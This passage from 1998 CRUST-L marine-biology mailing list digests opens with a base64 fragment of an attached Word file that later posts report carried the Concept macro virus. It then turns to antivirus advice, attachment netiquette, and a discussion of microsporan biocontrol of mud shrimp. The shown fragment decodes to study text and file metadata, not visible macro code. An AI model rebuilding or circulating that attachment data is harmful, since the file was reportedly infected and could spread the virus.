cnRoIHF1YXJ0ZXIgc2FsaW5pdHkgZGlkIG5vdCBmYWxsIHRvIGEgdHlwaWNhbCBsb3cgdmFsdWUg > KEZpZy4gIDNBLEQpLiAgIEV4YW1pbmVkIGFzIHBvb2xlZCBtb250aGx5IHNhbXBsZXMgb3ZlciB0 > aGUgZW50aXJlIHN0dWR5LCBoaWdoZXN0IHBlcmNlbnRhZ2VzIG9mIG92aWdlcm91cyBpbmRpdmlk > dWFscyBhbW9uZyBhbGwgZmVtYWxlcyBvZiB0aGUgcG9wdWxhdGlvbiBvY2N1cnJlZCBkdXJpbmcg > dGhlIGhpZ2ggc2FsaW5pdHkgcGVyaW9kIGZyb20gRmVicnVhcnkgIHRvIEp1bmUsIHdpdGggYSBt > YXhpbXVtIGZvdW5kIGluIE1heSAoMzUuNyUpLCAgdHdvIG1vbnRocyBhZnRlciBwZWFrIGRldmVs > b3BtZW50IG9mICB0aGUgb3ZhcmllcyAoRmlnLiA0QSxCKS4NRGV2ZWxvcG1lbnQgb2Ygb3Zhcmll > cywgaW5kZXhlZCBhcyBhIG1lYXN1cmUgb2YgdGhlaXIgcmVsYXRpdmUgd2lkdGgsIHJlYWNoZWQg > bWF4aW1hIGluIHRoZSBxdWFydGVyIHByaW9yIHRvIHRoZSBwZWFrIG9jY3VycmVuY2VzIG9mIG92 > aWdlcm91cyBmZW1hbGVzLCBhbmQgZWl0aGVyIGNvaW5jaWRlZCB3aXRoIG9yIGltbWVkaWF0ZWx5 > IGZvbGxvd2VkIHRoZSBxdWFydGVyIGluIHdoaWNoIGxvd2VzdCBhbWJpZW50IHNhbGluaXRpZXMg > b2NjdXJyZWQgKEZpZy4gM0EsQyxEKS4gIEV4YW1pbmVkIGFzIGEgbW9udGhseSB2YWx1ZSBwb29s > ZWQgb3ZlciB0aGUgdGhyZWUgeWVhcnMgaXQgd2FzIG1vbml0b3JlZCAoRmlnLiA0QyksIHRoaXMg > aW5kZXggb2Ygb3ZhcmlhbiBkZXZlbG9wbWVudCB3YXMgYXQgbWluaW11bSB2YWx1ZXMgaW4gSnVu > ZSBhbmQgSnVseSB3aGVuIG92YXJpZXMgb2YgbWFueSBzcGVudCBhbmQgaW1tYXR1cmUgZmVtYWxl > cywgd2hpbGUgZXZpZGVudCBmb3IgdGhlIGZ1bGwgbGVuZ3RoIG9mIHRoZSBhYmRvbWVuLCB3ZXJl > IGxpbWl0ZWQgaW4gd2lkdGggdG8gbmFycm93IHRyYW5zbHVjZW50LXllbGxvdyBzdHJhbmRzLiAg > T3ZhcmllcyBiZWNhbWUgZGVlcCB5ZWxsb3cgdG8geWVsbG93LW9yYW5nZSBhcyByZWxhdGl2ZSBv > dmFyaWFuIHdpZHRoIGJlZ2FuIHRvIGluY3JlYXNlIG1hcmtlZGx5IGluIEF1Z3VzdCwgY29uY3Vy > cmVudCB3aXRoIGFuIGFubnVhbCBkZWNsaW5lIGluIGFtYmllbnQgc2FsaW5pdHkuICBCeSBPY3Rv > YmVyLCBvdmFyaWVzIG9mIG1vc3QgbWF0dXJlIGZlbWFsZXMgd2VyZSBzb21ld2hhdCBsb2JhdGUg > aW4gc2hhcGUgYW5kIHllbGxvdy1vcmFuZ2UgdG8gcmVkZGlzaCBvcmFuZ2UgaW4gY29sb3IsIGFu > ZCBvdmFyaWFuIGluZGV4IHJlYWNoZWQgaGlnaCB2YWx1ZXMgd2hpY2ggcGVyc2lzdGVkIHRoZXJl > YWZ0ZXIgdGhyb3VnaCBGZWJydWFyeS4gIEhpZ2hlc3QgdmFsdWVzIGZvciB0aGUgb3ZhcmlhbiBp > bmRleCwgbWVhc3VyZWQgaW4gRmVich4AAABNaWNyb3NvZnQgV29yZCBmb3IgV2luZG93cyA5NQBD > AEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAlHNaEya9AUAAAAAAlHNaEya9AQMAAAACAAAA > AwAAAIMCAAADAAAAUw4AAAMAAAAAAAAA0M8R4KGxGuEAAAAA/v8AAAQAAgAAAAAAAAAAAAAAAAAA > AAAAAQAAAALVzdWcLhsQk5cIACss+a4wAAAA2AAAAAgAAAABAAAASAAAAA8AAABQAAAABAAAAFwA > AAAFAAAAZAAAAAYAAABsAAAACwAAAHQAAAAQAAAAfAAAAAwAAACEAAAAAgAAAOQEAAAeAAAABAAA > AFVTTAADAAAAAD4AAAMAAAAeAAAAAwAAAAcAAAALAAAAAAAAAAsAAAAAAAAADBAAAAIAAAAeAAAA > PAAAAFRvIHRob3NlIGludGVyZXN0ZWQgaW4gYnVycm93aW5nIHNocmltcCBhbmQgc2hyaW1wIGZh > cm1pbmc6AAMAAAAAAAAA0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAA > AAABAAAAFwAAAAAAAAD///////////////////////////////////////////////////////// > //////////////////////////// > --=====================_885371307==_ > Content-Type: text/plain; charset="us-ascii" > > > Sergio F. Nates, Ph.D. > Biology Department > University of Southwestern Louisiana > P.O. Box 42451 > Lafayette, LA 70504 > Phone (318)482-5230 > FAX (318) 482-5834 > e-mail LRN8889@usl.edu > > --=====================_885371307==_-- > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\ 0 | | 0 // Gloucester Point, VA 23062, USA \\__\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \^ ^^ ^/ http://www.vims.edu/~jeff/ <====\^ ( ) ^/====> <====\^ ^/====> <====\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: propal@tin.it Date: Wed, 21 Jan 1998 08:18:14 +0100 Subject: CRUST-L: New malacological site The Italian Malacological Society - S.I.M. is proud to announce that is now owner of a Web Site, whose address is: http://www.aicon.com/sim/index.htm Your visit will be appreciated. Riccardo Giannuzzi-Savelli president Societ=E0 Italiana di Malacologia =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Joachim Kahlert" Date: Wed, 21 Jan 1998 07:59:41 +0000 Subject: CRUST-L: Literature Hello Crusters, I'm looking for literature about Gammarids in the Caspian region. I'm knowing the publication of Sars: Sars, G.O. (1895): Crustacea Caspia, Part III. Amphipoda, third article Gammaridae, Corophiidae.- Bulletin de l'Acad=E9mie Imp=E9riale des Sciences de St.-P=E9tersbourg, 3, 15-55. But this paper mainly deals with Corophiidae. Does anyone know if there is a first and/or second article of this work (which concerns more about the family of Gammaridae) and where it is pulished? Every other hint to literature about Gammarids of the Caspian region is welcome. Thank you Joachim ************************************************************** Joachim Kahlert Neusser Str. 372 D-50733 Koeln Tel.: +49 (0)221/7606572 http://mother.biolan.uni-koeln.de/users/jkahlert/jkahlert.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Emmett Duffy Date: Wed, 21 Jan 1998 07:28:10 -0500 Subject: Re: CRUST-L: Shrimp farm problem Crustlers, When I opened my email I got a message that the attached file in the message below is infected with a virus. Emmett At 08:28 PM 20-01-98 -0600, Sergio F. Nates wrote: >To Sergio Escutia et al.: > >For those interested in the shrimp farm problem please check attached file. > >Cheers, Sergio. > > >Attachment Converted: C:\EUDORA\ATTACH~1\shrimp_f.doc > >Sergio F. Nates, Ph.D. >Biology Department >University of Southwestern Louisiana >P.O. Box 42451 >Lafayette, LA 70504 >Phone (318)482-5230 >FAX (318) 482-5834 >e-mail LRN8889@usl.edu > _________________________________________________________________________ J. Emmett Duffy phone: 804-684-7369 School of Marine Science & VIMS FAX: 804-684-7293 The College of William and Mary Internet: jeduffy@vims.edu Gloucester Point, VA 23062-1346 http://www.vims.edu/bio/mobee FedEx address: VIMS, Rte 1208, Greate Rd, Gloucester Point, VA 23062 _________________________________________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Joe Staton Date: Wed, 21 Jan 1998 08:47:53 -0500 Subject: CRUST-L: Re: email virus >Deleting the file without opening it should be sufficient. If you've >opened it in Word, then you may need to obtain an update on macro viruses; >they're relatively recent. Such updates are available from Norton and >McAfree. That's McAfee, and you can download a trial version from the web via their page at: http://www.mcafee.com/main.asp Go to the download software section. This will scan for viruses (viri?) and will fix contaminated files to a large degree. Reasonably priced at < $20 US. Joe =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Paul Haefner Date: Wed, 21 Jan 1998 09:00:19 -0500 (EST) Subject: CRUST-L: more books I am still in the process of liquidating "oldies but goodies" from my library. I have added Gulf of Mexico tomes by Galtsoff, & Pequeqnat & Chase, and Hedgpeth's Treatise on ecology. Others, such as the old Gould's invert Mass, & Maury's physical geogr of seas are still available. For a complete list send me an email message, along with your fax or snail-mail address. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #115 ***************************** From owner-crust-l-digest@vims.eduFri Mar 13 11:17:34 1998 Date: Thu, 22 Jan 1998 14:24:44 -0500 From: owner-crust-l-digest@vims.edu Reply to: crust-l@vims.edu To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #116 crust-l-digest Thursday, 22 January 1998 Volume 01 : Number 116 CRUST-L: Data Storage Tags CRUST-L: e-mail with virus CRUST-L: U.S. Exploring Expedition Re: CRUST-L: e-mail with virus Re: CRUST-L: Re: email virus Re: CRUST-L: e-mail with virus CRUST-L: Netiquette CRUST-L: Ghost/mud shrimp control CRUST-L: new apologies from the "virus man" CRUST-L: Ghost/mud shrimp control CRUST-L: HPLC on haemolymph CRUST-L: att. Joachim Kahlert CRUST-L: Re: HPLC on haemolymph CRUST-L: Mangrove: Undergraduate Reseach Fellowships- Fall 1998 (fwd) Re: CRUST-L: Ghost/mud shrimp control ---------------------------------------------------------------------- From: Star Oddi Date: Wed, 21 Jan 1998 14:04:50 -0000 Subject: CRUST-L: Data Storage Tags Dear Sir or Madam We have taken the liberty of sending you some information about our product since we have learned that you might be interested in our product and that your experiments might benefit from it. Star Oddi is a high technology company engaged in development and manufacturing of advanced microsystems (microelectronics and sensors). Our main product is a Data Storage Tag (DST), developed and manufactured for fish-research in co-operation with the Institute of Freshwater Fisheries and The Marine Research Institute in Iceland. Although developed for fish research, the DSTs have been used for other animals as well, including Atlantic puffin, turtles and spider crabs. The tag is very easy to use and is unique in its small size, long lifetime, and the ability to measure many environmental parameters. The DST has proven to be a very important research tool and is used today by researchers from many different countries. The DST has made available new methods of studying the behaviour of animals and the environment to which it is exposed to. This is due to the fact that the DST provides unique possibilities in regard to sampling continuous series of behavioural and environmental information from areas and over time periods where other sampling methods fail. The tags have been used successfully to record changes in temperature, pressure, salinity and tilt. Results from the tags have been used in conjunction with satellite imagery. This provides an approximation of a geographic location. Today there are two generations of DST's, the DST 200 and the DST 300, and an ongoing development will result in a release of new generations of DST's in the future. Professor Eduardo Gonzales-Gurriaran from the University of Coruna, Spain, have used our tags with good results on his spider crabs. A short description of the tagging can be seen in our home page under "Crustacean" For detailed information about Star Oddi and the tags please visit our home page: http://www.star-oddi.com Feel free to distribute this information. Please contact me for further information or question about our products. Best regards, Sigurdur H. Johannsson M.Sc. Fish-physiology Marketing Manager Star Oddi Grandagardur 5 IS-101 Reykjavik Iceland Tel. +354 551 3444 Fax. +354 551 3480 e-mail star-oddi@star-oddi.com http://www.star-oddi.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Sergio F. Nates" Date: Wed, 21 Jan 1998 08:11:48 -0600 Subject: CRUST-L: e-mail with virus To all crusters: I really mess up. I was trying not to take too much space from the group. I really want to apologize for the attached document that contains the concept virus. When I scan my documents my old computer (at school) doesn't show the virus. I have been having problems with this virus since I wrote my dissertation. It was so bad that my former PhD professor (Dr. D.L. Felder) has a warning on my computer. I have Mcfee on my computer but I'm not sure what to do know. Any hint??? Sergio Sergio F. Nates, Ph.D. Biology Department University of Southwestern Louisiana P.O. Box 42451 Lafayette, LA 70504 Phone (318)482-5230 FAX (318) 482-5834 e-mail LRN8889@usl.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Booth Date: Wed, 21 Jan 1998 11:31:06 -0500 Subject: CRUST-L: U.S. Exploring Expedition Given the recent discussion about the fate of specimens collected during the U.S. Exploring Expedition (aka the Wilkes Expedition), I thought I would point out to those of you not familiar with the details of expedition the following excellent (and hilarious!) historical account: The Great United States Exploring Expedition of 1838-1842, by William Stanton, University of California Press, Berkeley, 1975. To quote from the book's dust jacket: "Few chapters in the history of American science or the U.S. Navy contain more bravura, comic mishaps, or slapdash adventure than the Wilkes Expedition of 1838-1842.... Wilkes- who was then only forty years old and a mere lieutenant in the Navy- traveled to the polar regions, the South Pacific, and to the coasts of what are now Oregon, Washington, and British Columbia, exploring, fighting with natives, mapping, and collecting scientific specimens of everything encountered... The idea for the expedition originated with a crackpot ex-Army captain, hailed as the Newton of the West, who proclaimed that the earth was hollow, with holes at its poles. Patriots demanded that the interior be explored by the only free nation on earth. From that dubious beginning, and after two decades of wrangling among politicians, scientists, and the Navy, the expedition set sail." [By the way, the Smithsonian Institution, the Naval Observatory, and the U.S. Botanical Garden were all founded in part to deal with the specimens and data collected by the expedition.] If you haven't read the book, I strongly recommend it.. Chuck Booth - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 Fax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: rbrusca@bio2.edu (R.C. Brusca) Date: Wed, 21 Jan 1998 11:53:02 -0500 Subject: Re: CRUST-L: e-mail with virus Sergio: First of all, get a good virus program. I recommend Virex. Second, NEVER NEVER NEVER SEND UNSOLICITED/UNREQUESTED ATTACHMENTS WITH YOUR EMAIL, especially not to hundreds of people on a list server. This message is for all CRUST-L subscribers. It is inappropriate and impolite and downright maddening to receive unsolicited attachments via email and over list servers. These things bog down computers with unwanted garbage and often contain viruses as well. Just don't do it. If you have something so large it needs to be sent as an attachment, simply send out a message telling folks they can request it if they wish. Otherwise, it's junk mail. RCB - --------------------------------------------------------------------- >To all crusters: > >I really mess up. I was trying not to take too much space from the group. >I really want to apologize for the attached document that contains the >concept virus. When I scan my documents my old computer (at school) >doesn't show the virus. I have been having problems with this virus since >I wrote my dissertation. > >It was so bad that my former PhD professor (Dr. D.L. Felder) has a warning >on my computer. I have Mcfee on my computer but I'm not sure what to do >know. Any hint??? > >Sergio >Sergio F. Nates, Ph.D. >Biology Department >University of Southwestern Louisiana >P.O. Box 42451 >Lafayette, LA 70504 >Phone (318)482-5230 >FAX (318) 482-5834 >e-mail LRN8889@usl.edu - -------------------------------------------------------------------- ********** NOTE NEW ADDRESS ********** Richard C. Brusca Senior Research Scientist Columbia University Biosphere 2 Center Highway 77 at Mile Marker 96. P.O. Box 68 Oracle, AZ 85623 Office phone: (520) 896-6435 Lab phone: (520) 896-6464 EMAIL: rbrusca@bio2.edu FAX: (520) 896-6471 Brusca's NSF-PEET project home page (Isopods): http://www.cofc.edu/~bruscar/FRONTEND.htm - -------------------------------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Eric Guinther Date: Wed, 21 Jan 1998 07:18:31 -1000 Subject: Re: CRUST-L: Re: email virus At 08:47 AM 1/21/98 -0500, you wrote: >>Deleting the file without opening it should be sufficient. If you've >>opened it in Word, then you may need to obtain an update on macro viruses; >>they're relatively recent. Such updates are available from Norton and >>McAfree. >That's McAfee, and you can download a trial version from the web via their >page at: > >http://www.mcafee.com/main.asp Sergio I believe you can also get a program from Microsoft that will scan and clean Word files. It has been over a year since I needed it to clean our office LAN which had become infected, but I downloaded it from the MS web site and it did the job. I've more recently obtained McAfee software and it works well also. You must make a determined effort to catch all the infected files (Word documents in my case), which means "cleaning" all the hard drives you exchange documents with. If you miss one, or invite in an infected file and open it in MS Word, you will start speading the Concept virus again to any files you create in Word. On installation of McAfee on my current computer it located a file downloaded from the net that I had recently opened and one created in Word shortly thereafter as infected and cleaned them up. I can not testify to how good it is at detecting new arrivals as I've not had any "hits". I did not try to open the shrimp_farm.doc file. Eric Guinther aecos@pixi.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Curt Fiedler Date: Wed, 21 Jan 1998 09:11:03 -1000 Subject: Re: CRUST-L: e-mail with virus I second Brusca's comments. Do not send *any* attachments with your e-mail to the listserv group. Aside from the virus risk, you are wasting server space (mine and everyone else's). *If* you are posting something of interest to the group and have a file (image or something) of relevance, send it to individuals who request it only. - -Curt G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 21 Jan 1998 14:31:26 -0500 (EST) Subject: CRUST-L: Netiquette Gang! Rather than blow this out of proportion, let's lower the volume on the attachment netiquette. Rick, Curt, you've made an excellent point. As a general rule don't send attachments unless requested, especially to large lists. Sergio, thanks for contributing to the list; I'm sure that there will be several people interested in your file once you get it cleaned up. There are several freeware/shareware/commercial vaccines available for macroviruses. Contact your internet provider as they may have a site license for a commercial version. Keep up the good posts, and let's get back on topic! (Joe, I've never seen viri used, just virions, and viruses but hey, why not!) Cheers, Jeff List Administrator =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 21 Jan 1998 14:39:37 -0500 (EST) Subject: CRUST-L: Ghost/mud shrimp control Crusters, I've been thinking of an application of biological control to the mud shrimp "problem." I don't know if it's worth pursuing (especially with Pfiesteria rearing it's ugly sulcus), but several parasites occur in mud shrimp (and ghost shrimp). I was thinking of using microspores. Microsporans typically exhibit a high host specificity, and a high pathogenicity. Some of those in insects can be freeze-dried and stored for years! While rare in some populations, they often occur naturally, hence there may be less cause for concern than in using an introduction. For filter feeders, like mud shrimp, exposure could be as simple as putting spores in the water. Worth developing? That depends. What's the monetary loss caused by the shrimp? There's a possible application here to green crabs, too, but rhizocephalans have received more attention as control agents. Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\ 0 | | 0 // Gloucester Point, VA 23062, USA \\__\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \^ ^^ ^/ http://www.vims.edu/~jeff/ <====\^ ( ) ^/====> <====\^ ^/====> <====\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Sergio F. Nates" Date: Wed, 21 Jan 1998 15:04:34 -0600 Subject: CRUST-L: new apologies from the "virus man" Dear crust members: Many thanks to everyone who gave me advise on how to deal with the concept virus. I already clean the hard drive of this computer using McAfee Virus Scan for Windows 95 v3.1.2. To those still interested in the ecology of ghost shrimp populations inhabiting penaeid shrimp aquaculture ponds, please let me know. I will gladly send "virus-free" reprints. Once again, please accept my apologies, Sergio Sergio F. Nates, Ph.D. Biology Department University of Southwestern Louisiana P.O. Box 42451 Lafayette, LA 70504 Phone (318)482-5230 FAX (318) 482-5834 e-mail LRN8889@usl.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Wed, 21 Jan 1998 17:43:35 -0600 Subject: CRUST-L: Ghost/mud shrimp control Jeff, Some questions: How highly host-specific are microsporans? To the specific level, generic, family, ... ? How easily can they be IDed? Meaning, how easy is it to be sure that one has the right parasite? How easily do microsporans mutate to infect a new host? How likely are the applied spores to spread beyond the area to be controlled? I would be very cautious about putting a water-born pathogen into breeding ponds or other bodies of water. I think you're onto a good idea, but it'll need lots of preliminary work. Spreading biological control agents should be considered a problem in introducing foreign species into a new environment, not just an exercise in replacing chemical control with biological control. Good topic for discussion, too. Phil > >I've been thinking of an application of biological control to the mud >shrimp "problem." I don't know if it's worth pursuing (especially with >Pfiesteria rearing it's ugly sulcus), but several parasites occur in >mud shrimp (and ghost shrimp). I was thinking of using >microspores. Microsporans typically exhibit a high host specificity, >and a high pathogenicity. Some of those in insects can be freeze-dried and >stored for years! While rare in some populations, they often occur >naturally, hence there may be less cause for concern than in using an >introduction. For filter feeders, like mud shrimp, exposure >could be as simple as putting spores in the water. > >Worth developing? That depends. What's the monetary loss caused by the >shrimp? There's a possible application here to green crabs, too, but >rhizocephalans have received more attention as control agents. > >Cheers, Jeff > jeff@vims.edu > ( ) ( ) Jeffrey Shields >(^ ^) (^ ^) Assistant Professor > (^) . . (^) Virginia Institute of Marine Science > \\ 0 | | 0 // Gloucester Point, VA 23062, USA > \\__\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 > \^ ^^ ^/ http://www.vims.edu/~jeff/ ><====\^ ( ) ^/====> > <====\^ ^/====> > <====\ /====> > ()===(____)===() > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: GRANT D STENTIFORD <9707223s@UDCF.GLA.AC.UK> Date: Thu, 22 